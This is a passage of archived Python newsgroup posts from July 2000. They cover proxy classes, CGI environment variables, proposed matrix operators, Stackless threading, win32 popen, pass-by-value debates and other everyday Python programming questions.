Thomas Weholt wrote:

>On 20 Jul 2000 23:55:14 GMT, gmcm at hypernet.com (Gordon McMillan)
>wrote:

[proxy class]

>Ok, it seems to work, allthough only if I access methods. Accessing
>simple values like ints and strings directly only traps that value,
>not the attribute name. 

Sure it does. Both __getattr__ and __setattr__ have the name of the 
attribute - it's an argument.

>And, most importantly, how can I make my objects behave like the ones
>used thru a proxy, *without* putting them into one? is it possible? I
>mean, I just want to avoid have to declare one instance, and then
>stuff it into another new instance. Can it be done in one big swoop?

Two ways. The sane way:
 (I'll assume your class is class Fiddle. Now rename it to _Fiddle.)

 def Fiddle(*args, **kwargs):
   obj = apply(_Fiddle, args, kwargs)
   return Proxy(obj)

 Your users will never know what hit them.

The insane way is to take Demo/metaclasses/Trace.py (from the source 
distribution) and modify it to suit your needs. You might know what hit 
you, but that's about all you'll know.

>Anyway, where can I read up on stuff like this? Proxy, nifty object
>handling. Any hints?

The docs (the very early sections of the library reference, and scattered 
thru the language ref) actually explain pretty well how this stuff works. 
They just never give much of a hint what you can do with it. For that, you 
need a madman (Mark Hammond, Tim Peters, Don Beaudry, Aaron Watters, Jim 
Fulton, me).

The single most elegant example of utter depravity is Aaron Watters' 
FreeTerm.py. Clipped from a posting:

#courtesy of Aaron Watters (a posting dated 1997/05/01)

class freeterm:
    def __init__(self, name):
        self.__myname__ = name
    def __getattr__(self, name):
        return attrterm(self, name)
    def __repr__(self):
        return str(self.__myname__)
    def __str__(self):
        return `self`
    def __call__(self, *args, **kargs):
        return callterm(self, args, kargs)
    def __coerce__(a,b):
        return (a,b)
    def __cmp__(a,b):
        return id(a) - id(b)
        
class attrterm(freeterm):
    def __init__(self, thing, attname):
        #print thing, ".", attname
        self.__attname__ = attname
        freeterm.__init__(self, thing)
    def __repr__(self):
        #return "(%s).%s" % (str(self.__myname__), self.__attname__)
        return "%s.%s" % (str(self.__myname__), self.__attname__)
        
import string

class callterm(freeterm):
    def __init__(self, fn, args, kargs):
        self.__myargs__ = args
        self.__kargs__ = kargs
        self.__fn__ = fn
        freeterm.__init__(self, fn)
    def __repr__(self):
        strargs = map(str, self.__myargs__)
        for (key, value) in self.__kargs__.items():
            item = key + "=" + `value`
            strargs.append(item)
        arglist = string.joinfields(strargs, ", ")
        args = "(%s)" % arglist
        return `self.__fn__` + args
        
def test():
    [a,b,c,d,e] = map(freeterm, "abcde")
    print a+b*c
    print a*b+c
    print a.open(d)+e
    print a.this(c).that(e.x)+d
    print (a<<b).grep(d-e)>>c
    print a(d**e, key=b-c)

that'll-teach-ya-<evil-laughter>-ly y'rs


From lkcho at my-deja.com  Mon Jul 31 14:06:43 2000
From: lkcho at my-deja.com (lkcho at my-deja.com)
Date: Mon, 31 Jul 2000 18:06:43 GMT
Subject: CGI downloading
References: <8m1lc5$89p$1@nnrp1.deja.com> <19ad.398464e2.b28f1@yetix.sz-sb.de>
Message-ID: <8m4f7e$7t7$1@nnrp1.deja.com>

What is the different between residing inside document root and outside
document root.  If it is inside document root, how to get it?

Thank you.

LKCho


In article <19ad.398464e2.b28f1 at yetix.sz-sb.de>,
  ajung at suxers.de wrote:
> lkcho at my-deja.com wrote:
> 2qy
> 2qyIs there any possible way to download the whole cgi script,
instead of
> 2qyletting it response with html pages?
>
> On a well administrated web server this should not be possible.
> Usually CGI scripts reside outside the web servers document root.
> However I have seen lots of insecure systems where CGI reside
> inside the document root.
>
> Cheers,
> Andreas
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From adams_s at lab.eng.usyd.edu.au  Sun Jul  9 17:59:44 2000
From: adams_s at lab.eng.usyd.edu.au (Steven Adams)
Date: Mon, 10 Jul 2000 07:59:44 +1000
Subject: Getting ip address and browser info
References: <3967B9F8.1694E2F3@bioeng.ucsd.edu>
Message-ID: <8kasde$er2$1@news1.wire.net.au>

heres a snippet I've found that prints out server details:

import os
for x,y in os.environ.items():
    print x, y


------------------

os.environ['HTTP_USER_AGENT'] gives browser type
os.environ['REMOTE_ADDR'] gives the IP address of the requesting party

-----------

hope that helps,

Steven

Curtis Jensen <cjensen at bioeng.ucsd.edu> wrote in message
news:3967B9F8.1694E2F3 at bioeng.ucsd.edu...
> Using python CGI how can I get the ip address and browser info of the
> requestion party?  Thanks.
>
> --
> Curtis Jensen
> cjensen at bioeng.ucsd.edu
> http://www-bioeng.ucsd.edu/~cjensen/
> FAX (425) 740-1451




From phil at geog.ubc.ca  Fri Jul 21 14:41:28 2000
From: phil at geog.ubc.ca (Phil Austin)
Date: 21 Jul 2000 11:41:28 -0700
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l899g$6f5$1@agate.berkeley.edu> <slrn8nfsh3.rb.hzhu@localhost.localdomain> <8la3bo$b55$1@agate.berkeley.edu>
Message-ID: <m3wvifz5pj.fsf@brant.geog.ubc.ca>

there was a matrix-sig but it has been replaced by:

http://lists.sourceforge.net/mailman/listinfo/numpy-discussion

Any topic related to numerical methods and Python would be within
the domain of that list.

Phil


From digitig at cix.co.uk  Mon Jul 24 17:25:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Mon, 24 Jul 2000 22:25 +0100 (BST)
Subject: Operators for everything (was Re: Operators for matrix)
References: <397B6319.27A6438A@nceas.ucsb.edu>
Message-ID: <memo.20000724222557.47597B@digitig.compulink.co.uk>

In article <397B6319.27A6438A at nceas.ucsb.edu>, keitt at nceas.ucsb.edu 
(Timothy H. Keitt) wrote:

> R (www.r-project.org) uses '%' as in A %*% B.  Might be nice to
> standardize.

Um, only if there's a benefit -- otherwise we'll standardise on semicolons 
to divide statements and curly braces to delimit blocks. I find A %*% B 
very hard to read, and I don't like so much use of arcane symbols.

The only tidy way of handling infix operators in Python than I can see is 
to make operators first class objects.


From jvickroy at sec.noaa.gov.bbs  Mon Jul 17 14:30:07 2000
From: jvickroy at sec.noaa.gov.bbs (jvickroy at sec.noaa.gov.bbs)
Date: 17 Jul 2000 18:30:07 GMT
Subject: Event set/clear/wait
Message-ID: <3bRLJV$jy3@openbazaar.net>

How can software be written to determine when it is "safe" to *clear* a
threading.Event that has previously been *set*?

Do I even need to consider this?

Thanks for your interest.

  -- jv

P.S.
"safe" is intended to convey the notion that all threads issuing a
*wait* on the event are no-longer blocking because of it.


From horst at proceryon.at  Thu Jul 27 09:21:35 2000
From: horst at proceryon.at (Horst Gassner)
Date: Thu, 27 Jul 2000 15:21:35 +0200
Subject: Pmw dialogs - very slow
Message-ID: <3980375F.4D366654@proceryon.at>

Hi all!

Am I doing something wrong or are Pmw dialogs really so slow?

Here are the lines of code:
s.notYetImplemetentedDlg = Pmw.MessageDialog(s.parent, defaultbutton=0,
title = notYetImplementedHdrTxt, message_text = notYetImplementedTxt)
s.notYetImplemetentedDlg.activate(geometry = 'centerscreenalways')

The dialog frame appears very fast but it takes between 1 and 2 seconds
to display the contents!


When I use the simple tk-Dialog then everything is okay (dialog
including contents appears suddenly).
tkMessageBox.showinfo(notYetImplementedHdrTxt, notYetImplementedTxt)

I like Pmw very much and I also want to use the Pmw dialogs because of
there extended features (e.g. centering the dialog on screen, using the
same font as for all other Pmw-Megawidgets)

Is there a possibilty to speed this up?

Thank you in advance
Horst


From digitig at cix.co.uk.bbs  Sun Jul 16 14:50:12 2000
From: digitig at cix.co.uk.bbs (digitig at cix.co.uk.bbs)
Date: 16 Jul 2000 18:50:12 GMT
Subject: ODMG?
Message-ID: <3bQWKb$j9g@openbazaar.net>

Is there any ODMG-style Object-Oriented Database system for Python?


From frr at mindless.com  Mon Jul 10 13:16:53 2000
From: frr at mindless.com (Fernando Rodríguez)
Date: Mon, 10 Jul 2000 17:16:53 GMT
Subject: including files
Message-ID: <9yna5.229$iT2.4602@m2newsread.uni2.es>

Hi!

    What's teh Python's equivalent for C's #include "myfile.h"? O:-)

TIA

--


---------------------------------------
Fernando Rodr?guez




From neo_brave at my-deja.com  Mon Jul  3 21:45:38 2000
From: neo_brave at my-deja.com (Neo Brave)
Date: Tue, 04 Jul 2000 01:45:38 GMT
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au> <8jp3pt$q7j$1@nnrp1.deja.com> <YC185.27369$W35.636919@news20.bellglobal.com>
Message-ID: <8jrfjv$geg$1@nnrp1.deja.com>

In article <YC185.27369$W35.636919 at news20.bellglobal.com>,
  "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> How about a batch file called p.bat ?  (with optional status messages)
>
> -----start p.bat--------
> @echo off
> echo Starting script '%1.py' ....
> c:\progra~1\Python\python "%1.py" %2 %3 %4 %5 %6 %7 %8 %9
> echo Execution complete!
> ----end p.bat-----------
>
> Given you have a script called "spam.py":
>
> -----start spam.py------
> print "Spam spam spam spam"
> -----end spam.py--------
>
> Then, you would type:
>
> c:\work\python\stuff>p spam
> Starting script 'spam.py' ...
> Spam spam spam spam
> Execution complete!
>
> Is that what you wanted??

Thanks. Thats an improvement on what I have been doing till now but
its not quite as neat as the WinNT solution (which I've tried on
WinNT and it works :-)).

Maybe its time I bit the bullet and upgraded to NT.

Neo
--
Neo Brave


Sent via Deja.com http://www.deja.com/
Before you buy.


From weeks at golden.dtc.hp.com  Sun Jul 30 12:24:54 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 30 Jul 2000 16:24:54 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl>
Message-ID: <8m1ksm$kr9$1@news.dtc.hp.com>

[I should have mentioned this in my previous response, but I missed it:]

Martijn Faassen (m.faassen at vet.uu.nl) wrote:
: This seems to be where the confusion comes in. When people claim Python
: passes by value, because the *references* are being passed by value, 
: that seems to be just stating that the only thing the computer can pass
: in the end is numbers. If you say that, everything is by value

Not really.  The question is *which* number do you pass to the function:
the number written in the argument variable or the address of the argument
variable (which is then implicitly dereferenced).  Perl passes the latter
(call by reference), Python passes the former (call by value).  So, in Perl
you can have:

    $x = 0;
    f($x);
    print "$x\n";		# PRINTS 42

Greg


From nobody at nowhere.nohow  Fri Jul 28 21:13:52 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:13:52 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <KPgg5.2640$6E.682060@ptah.visi.com> <8lsa9901fm9@news2.newsguy.com>
Message-ID: <slrn8o4bug.abr.nobody@isis.visi.com>

In article <8lsa9901fm9 at news2.newsguy.com>, Alex Martelli wrote:
>
>> I would assert that although 1 + "foo" is meaningful to the C
>> _compiler_, it is still meaningless to almost "everyone" (as in
>> people) except Perl coders, and probably meaningless to most of
>> them as well.
>
>I think you underestimate the amount of "Obfuscated C" participants
>who have not been Perl coders.  1+"foo" and 1["foo"] are very
>meaningful kinds of constructs to obfuscators!-)

Probably true.  However, I've been writing C code for a living for 15 years,
and I can count on my thumbs the number of people I've met to whom 1 + "foo"
would not be confusing.  (I am not among them -- and I've written a C
compiler!) A few more could figure it out if they were told it was a valid C
expression. Once it was pointed it it was valid, I could see what the value
would be, but most of us would have initially reacted by thinking that
that's not a valid expression.

>What I don't understand is, rather...:
>
>    $foo = ++$bar;
>
>versus
>
>    $foo = 1 + $bar;

I wrote one Perl program about 9 years ago and never did it again.

-- 
Grant Edwards                   grante             Yow!  BELA LUGOSI is my
                                  at               co-pilot...
                               visi.com            


From nobody at nowhere.nohow  Sun Jul 30 12:22:07 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 30 Jul 2000 16:22:07 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <slrn8o75j2.fjt.grey@teleute.rpglink.com>
Message-ID: <PCYg5.2852$6E.754275@ptah.visi.com>

On Sun, 30 Jul 2000 02:45:58 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>On Sun, 30 Jul 2000 01:48:32 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:

>>I concur. In non-programming, life is strictly typed. Allowed
>>operations are determined by the type of the object. You can't
>>make a phone call on a waffle-iron.  Were I to _try_ to make a
>>phone call on a waffle-iron, it doesn't "automagically" convert
>>istelf into a telephone.  Instead, I get a rather interesting
>>burn pattern on the side of my head.
>
>    You're making the mistake of trying to associate
>programming concepts to real world objects.

But in many, many programs (at least in the embedded and
process control areas where I do most of my work) program
objects _do_ correspond to real world objects.

>    I'm sorry, but that is why I said data is data is data.

That's a bit of a tautology. ;)

>    To give you a counter example when I write my pen doesn't
>toss up an exception when I write out, "11 people are insane!"
>because it contains an integer in a string context!

I don't understand the analogy.  Pens are not responsible for
parsing English sentances and proofreading them.  They're
responsible for leaving a visible trail when they're dragged
across a paper surface.

-- 
Grant Edwards                   grante             Yow!  Are you still an
                                  at               ALCOHOLIC?
                               visi.com            


From stephen_purcell at yahoo.com  Wed Jul 26 20:44:08 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Thu, 27 Jul 2000 10:44:08 +1000
Subject: Python luddites (was Re: Type inference now simplicity)
In-Reply-To: <397F5410.6D9D317A@uab.edu>; from shapr@uab.edu on Wed, Jul 26, 2000 at 09:14:34PM +0000
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu>
Message-ID: <20000727104408.A10021@inkontact.com.au>

Shae Erisson wrote:
> And I'm opposed to it because it seems like sugar to me. I've always
> loved Python's simplicity, and I hope it stays that way.
> Adding new operators and new syntax will make Python harder to read, and
> harder to learn. I don't want that.

Yay! Python luddites unite!

It also seems to me that Python is popular and effective exactly because of
its simplicity. I love the fact that Perl folks rant about features
'missing' in Python only to find that the exact same functionality is
available in a nicely packaged form in a standard module (e.g., 're'). This
is the Python aesthetic, and I love it.

-Steve
                  
-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From mallor at 3DProgrammer.com  Thu Jul 20 06:37:29 2000
From: mallor at 3DProgrammer.com (Mallor)
Date: Thu, 20 Jul 2000 10:37:29 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l52hs$i05$1@kopp.stud.ntnu.no> <39765839.ADB85077@san.rr.com>
Message-ID: <JDAd5.1528$U56.54784@newsread1.prod.itd.earthlink.net>

"Courageous" <jkraska1 at san.rr.com> wrote in message
news:39765839.ADB85077 at san.rr.com...
>
> > > http://www.stackless.com/
> >
> > What exactly *are* these advantages? (Very curious...)
>
> Stacklessness allows certain specific optimizations for
> threading that wouldn't be possible otherwise. For example,
> it's quite possible to run 10,000 threads simultaneously
> in stackless Python, which is especially useful if you have
> lots of small simulation entities which are doing various
> and sundry routine and small tasks.

If I had 10,000 of anything to process, why wouldn't I try to batch that
up?  Only answer I can think of is if you had 10,000 fairly unique
things going on.  Like 10,000 players on a MUD server and nobody shares
any turn-phase actions at all.  I'm not sure that's how I'd design a MUD
to begin with, sounds pretty bloated.  I don't think I'd need 10,000
asynchronous Active Server Page transactions for an e-commerce website,
I think I could queue 'em.

So, 10,000 sounds like a pretty theoretical advantage.  I'd be more
interested if there's some big payoff for, say, a dozen heterogeneous
processes?

> One of the things that stacklessness enables is the "first
> class continuation" which is really a generalized primitive
> for doing flow control. If Python came coupled with any
> kind of metalinguistic/macro environment, it would be possible
> to any number of flow control and looping constructs,
> practically without limit.

I guess my suspicion about primitives for doing flow control, is I've
spent most of my computer career learning how to pipeline the flow
control tighter and tighter by regularizing the units of computation.
Sure, some problems aren't amenable to that, but most problems are, and
I'm not sure I want to pay maintenance overhead to have the conceptual
elegance.  After all, main memory access in a flat address space is
pretty elegant until you have to deal with a cache hierarchy.

> "first class" continuations expose the various pieces
> of functionality in 1-4 to the ordinary programmer. It
> is no longer a matter strictly controlled by the
> interpreter/compiler. The programmer can then make
> meta-level decisions that would have otherwise not been
> doable without the continuation construct.

Fair 'nuff, I'd use it to blow off all returns.  Once the packets have
been shipped to some hardware interface - 3d, network, whatever - what
do I care about gratuitously returning from subroutines?  The pedantic
answer is exception handling.  Well, screw exception handling!  :-)

Of course, the design level method for coping with this problem is using
big arrays of stuff that you can repetitively chug through, to minimize
or even eliminate function call overheads.

> The idea of "stacklessness" per se is doing away with
> the push/pop operations altogether in order to facilitate
> the continuation itself. Without having to constantly
> push/pop stack elements, context switching between threads
> or regions of memory becomes very cheap.

Only if the consumption of resources by the threads themselves is cheap.
If they're all a bunch of memory hogs, you've just invented a great way
to thrash.

> There's a cost involved here, but if you're doing lots
> of context switching, you very often don't care.

I hate context switching.  All efficiency comes from hardwiring the
context.

> This kind of environment is particularly of interest to high
> performance computiationalists who use massively parallel
> machines.

And of no interest whatsoever to those of us using serial machines on
mainstream PC industry CPUs.  But your point is taken.

--
Cheers,             Infernal Troublemaker                    Troll
Mallor              "By simple mistake, mortals themselves amuse."





From lull at acm.org  Thu Jul 13 22:36:02 2000
From: lull at acm.org (John Lull)
Date: 13 Jul 2000 21:36:02 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain>
Message-ID: <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com>

At the dawn of the third millenium (by the common reckoning),
hzhu at localhost.localdomain (Huaiyu Zhu) wrote (with possible
deletions):

> I think cleanness is one of the main virtue of python, but it is lacking in
> numerical computation.  To give an example of the difference it makes, I'll
> quote from my original post asking for matrix in python (with corrections)
> 
> [in octave we write]
> > b = X\y                  # LMS solution of a linear equation y = X*b
> > b = (X'*X)\(X'*y)        # or written out in more details
> > b = inv(X'*X)*(X'*y)     # or in a less efficient form.
> > 
> > but the corresponding Python notation is horrendous:
> > 
> > b = matrixmultiply(inverse(matrixmultiply(transpose(X), X)), 
> >     (matrixmultiply(transpose(X), y[:,NewAxis])))

I'm don't think this is quite fair.  You could just as easily write:
    b = rDiv(X, y)
if you simply had an appropriate rDiv() function.  It's not nearly as
pretty as octave's notation, but it doesn't have to be nearly as
hideous as your example.

Regards,
John


From m.faassen at vet.uu.nl  Thu Jul 27 15:10:40 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 19:10:40 GMT
Subject: Python 3000
References: <LNBBLJKPBEHFEDALKOLCOEGGGMAA.tim_one@email.msn.com>
Message-ID: <8lq1fg$hg2$1@newshost.accu.uu.nl>

Tim Peters <tim_one at email.msn.com> wrote:
[Martijn:]
>> Once all of this becomes a bit more clear for the parties
>> involved, that is.
>>
>> It keeps changing and it makes people worried. At least it makes me
>> worried.

> What can we do about that?  In the short term it *is* a mess.
[snip]

Oh, you're right; see my response to Guido elsewhere on the newsgroup.
Just uselessly venting some frustration, I suppose. :)

Perhaps we should write somekind of 'request for clarification' letter
to CNRI to indicate what's up with the community. Anyone up to write
such a thing? Not me, my poor neurons. But I'll gladly add comments
if someone proposes a letter to the newsgroup. :)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From db3l at fitlinxx.com  Fri Jul  7 20:36:51 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 07 Jul 2000 20:36:51 -0400
Subject: EOF
References: <75F7304BB41CD411B06600A0C98414FC0A41CB@ORSMSX54>
Message-ID: <uem55bgpo.fsf@ctwd0143.fitlinxx.com>

"Daley, MarkX" <markx.daley at intel.com> writes:

> A better way is this:
> 
> f = open("file")
> line = f.readline
> while line:
> 	<process here>
> 	line = f.readline

Well, better is debatable I suppose :-) I personally dislike code like
this a lot since it places the executing code on which the loop
depends on two places.  For a single readline() (don't forget the ())
maybe it isn't terrible, but it's still a maintenance headache waiting
to happen - you'll always have two spots that need to be kept exactly
the same.

> This way, you're not testing truth against a known true.

The pattern of an infinite loop being broken upon an exit condition is
a fairly standard approach for a number of situations, and I think
it's pretty clear.  At least for the case of file I/O in Python, the
while 1: with a break on EOF loop is pretty much an idiom - argued at
times as one of the rougher idioms, but an idiom nonetheless :-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From root at rainerdeyke.com  Fri Jul 21 02:22:51 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Fri, 21 Jul 2000 06:22:51 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39774EFA.62287E6E@nih.gov> <ueefns037mjarv63dqpbh52mmr1k6vvaop@4ax.com>
Message-ID: <%_Rd5.36763$6y5.24594893@news2.rdc2.tx.home.com>

"John Lull" <lull at acm.org> wrote in message
news:ueefns037mjarv63dqpbh52mmr1k6vvaop at 4ax.com...
> This shouldn't be hard to parse.  In fact, it might be a reasonable
> foundation for class-specific operators:
>     A(.opName)B
> would get executed as either
>     A.__opName__(B)
> or
>     B.__ropName__(A)
> or raise an exception as appropriate.

This would allow constructs such as:

A(.init)B

In other words, it would turn all existing __magic__ functions into
operators.  Not a good idea IMO.


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From db3l at fitlinxx.com  Mon Jul  3 20:59:27 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 03 Jul 2000 20:59:27 -0400
Subject: Traping output from os.system
References: <8jn34q$kpn$1@news.lth.se> <hCI75.5717$Tb7.31730@news-server.bigpond.net.au> <u7lb3yphc.fsf@ctwd0143.fitlinxx.com> <um985.6715$Tb7.40775@news-server.bigpond.net.au>
Message-ID: <u4s66zp5c.fsf@ctwd0143.fitlinxx.com>

"Mark Hammond" <MarkH at ActiveState.com> writes:

> > Any chance that a future update to the extensions will be able to
> > return the result code of the child process on a close(), as
> > os.popen() does?
> 
> Unlikely that Bill or I will look into this.  The problem is that the file
> object doesnt know anything about the popen child process.

Hmm, yeah, but couldn't the win32popen module just pass a different
close routine (to PyFile_FromFile()) and then keep track of which file
handles were for which pipe?  True, it would have to manage that
mapping, but could probably just use an internal dictionary for it :-)
(Note I haven't actually tried this myself yet - just guessing from a
few glances at the source)

Ah, well - unfortunately exit codes are key for me, since the gate
decisions.  So I'll just keep valid consoles around for the moment :-)

> Personally, I would prefer to _remove_ win32pipe.popen's implementation,
> and re-write it in pure-python using the raw win32pipe functions - just to
> prove we can :-) And also so it would be easier to hack to do this sort of
> stuff, or cloned for "custom" requirements, etc.

Makes sense - I may try that at the point where I need to get rid of
thge consoles, although I'm definitely targeted at NT, so I get to
avoid all the Win95/98 ugliness I keep hearing about :-)

Doing it this way would probably make it easier to return an object
that looked like a file object (although it wouldn't really be the
actual type) but knew enough about how to access the child process
during the close() operation.

Thanks.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From dsavitsk at e-coli.net  Fri Jul 28 02:22:02 2000
From: dsavitsk at e-coli.net (d. savitsky)
Date: Fri, 28 Jul 2000 06:22:02 GMT
Subject: com makepy problems
References: <HRRf5.83451$dF.2988037@news1.rdc1.il.home.com> <XM3g5.13980$4p3.108502@news-server.bigpond.net.au>
Message-ID: <eE9g5.85064$dF.3054607@news1.rdc1.il.home.com>

well, thanks. i am afraid i don't know how to use the registry editor, but
i'll look it up and see what i can do.  also, i'll check what the error
codes are from the win2k and win98 machines and see how similar they are.
in all cases late binding seems to work, that is, i code on a machine where
makepy is fine and the programs run on the other machines without any
complaints (mostly ADODB/ADOX/DAO stuff with Access).

doug


"Mark Hammond" <MarkH at ActiveState.com> wrote in message
news:XM3g5.13980$4p3.108502 at news-server.bigpond.net.au...
> >     key2 = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, "Typelib\\%s"
> %
> > (iid))
> > api_error: (5, 'RegOpenKeyEx', 'Access is denied.')
>
> Sheesh.  This is very strange.  I have no idea why reading the registry
> would throw an "Acces Denied" error.  Can you see this key and subkeys
> using the registry editor.
>
> Im afraid I have never had this reported, and this makepy code is getting
> a number of years old.  So NFI, I'm afraid.
>
> Mark.
>
>
>




From bill at dehora.fsnet.co.uk  Fri Jul 28 19:58:02 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Sat, 29 Jul 2000 00:58:02 +0100
Subject: Perl is worse! (was: Python is Wierd!)
References: <8losor$4bk$1@nnrp1.deja.com>
Message-ID: <8lt6nh$fsr$1@newsg4.svr.pol.co.uk>

> But the irony now is that ZOPE will be 'opened' to PERL too. I have
> read through the 'debates' going on in the zope mailing list, but it
> still doesn't make sense - why allow Zope to be polluted by something
> that is clearly deficient?

How is it deficient?

> It's like allowing people to use sand instead of cement to build a house.

I've built houses. You need both. And more.





From jhe at webde-ag.de  Mon Jul  3 12:40:25 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Mon, 3 Jul 2000 18:40:25 +0200
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se>
Message-ID: <8jqfis$eak$1@pollux.ip-plus.net>

"Kalle Svensson" <kalle at gnupung.net> schrieb im Newsbeitrag
news:Pine.GSO.4.21.0007031546410.25965-100000 at luna.dsv.su.se...
>  * Suppose I do a loop where I get a byte at a time and then re-seed the
>    generator either with random numbers from the generator or with values
>    from time. Will that improve the randomness?

Certainly not. Seeding is done ONCE, always. What you should do is to call
random() 80 times, and use the MSB only, i.e. "bit = random() < 0.5".

Ciao, J?rgen

--
J?rgen Hermann (jhe<at>webde-ag.de)
WEB.DE AG, Amalienbadstr.41, D-76227 Karlsruhe
Tel.: 0721/94329-0, Fax: 0721/94329-22




From thomas at xs4all.net  Tue Jul 18 12:02:37 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 18 Jul 2000 18:02:37 +0200
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
In-Reply-To: <g1l8ns009uqt0502v3avkap6j6qjonsc9d@4ax.com>; from lull@acm.org on Tue, Jul 18, 2000 at 08:09:12AM -0500
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <39736213.15848862@eecis.udel.edu> <39739291.4155A128@prescod.net> <g1l8ns009uqt0502v3avkap6j6qjonsc9d@4ax.com>
Message-ID: <20000718180237.C4283@xs4all.nl>

On Tue, Jul 18, 2000 at 08:09:12AM -0500, John Lull wrote:
> At the dawn of the third millenium (by the common reckoning), Paul
> Prescod <paul at prescod.net> wrote (with possible deletions):

> > Look, if you took a poll of all programmers in the world, only a small
> > fraction use matrices very often. Therefore it is a niche. Most
> > programmers use numbers and strings every day, however.

> By that reasoning, cryptography ought not be part of the standard
> distribution, either.  Nor should complex numbers.

Nono, the question is not whether it's part of the standard library or not.
The question is whether it should get special syntax ! Complex numbers have
special syntax, but it's very restricted, low-impact: the 'j' to create a
complex number. Cryptography does not have special syntax.

> A very large part of the *reason* it's not used more is that linear
> algebra is simply *not* natively available in any common language
> other than Matlab.

There are plenty of other possibilities. Not everything has to be killed
with special syntax.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From thomas at cintra.no  Wed Jul 12 07:04:52 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Wed, 12 Jul 2000 11:04:52 GMT
Subject: Extending PythonWin
Message-ID: <396c4f8a.787419228@news.online.no>

Ok, a wishlist for PythonWin :

1. Integrate the Installer-module, with shortcuts etc.
2. Make some system so that users could make small scripts/modules
appear in the menues etc. I`d like to have a code revision system for
instance, and if there were a simple way of making modules available
from inside PythonWin, this could be done in a snap. ( For experienced
programmers that is. ;-> )

Thomas


From xiarcexml at yahoo.com  Fri Jul 14 11:38:18 2000
From: xiarcexml at yahoo.com (Dave Williams)
